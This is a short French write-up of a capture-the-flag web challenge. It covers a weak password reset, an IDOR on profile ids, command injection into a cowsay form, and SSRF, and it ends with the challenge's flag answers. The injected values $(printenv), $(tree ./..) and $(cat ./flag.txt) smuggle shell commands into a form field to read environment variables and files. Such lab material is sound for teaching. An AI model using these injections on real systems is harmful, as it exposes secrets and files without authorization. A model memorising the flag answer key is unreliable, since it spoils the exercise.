Aller au contenu

Challenge 1 - Blog Arcade - WRITEUP

Insecure Design: Récupération du mot de passe + FLAG1

1) Aller vers l'URL : http://blog-arcade.flagmalo.fr/forms/password-reset-form.php

2) Répondre au formulaire avec les informations trouvées en analysant le code source de la page

  • email : satoru.iwata@gmail.com

3) Il faut remplir le formulaire et faire une petite attaque par bruteforce (liste des couleurs).

IDOR: Récupération du mot de passe permis

Il faut remplacer le champ ID :

http://blog-arcade.flagmalo.fr/pages/profile.php?id=3 => http://blog-arcade.flagmalo.fr/pages/profile.php?id=0

Flag2

Injection de commandes 1

Aller sur le lien suivant: http://blog-arcade.flagmalo.fr/forms/cowsay.php

On injecte la commande: $(printenv)

Flag3

Injection commande 2

  • Il faut faire les commandes : $(tree ./..)

flag5

  • $(cat ./flag.txt)

flag

Server-Side Request Forgery (SSRF)

Le backend télécharge via CURL les fichiers ou retourne la réponse.

flag4

flag4

Liste des flags

Answer FMCTF{INSECURE_DESIGN}
Answer FMCTF{IDOR}
Answer FMCTF{WTF_COW}
Answer FMCTF{S3rv3R-SIDE_R3KesT_F0rG3ryy}
Answer FMCTF{WTF_SHELL_?}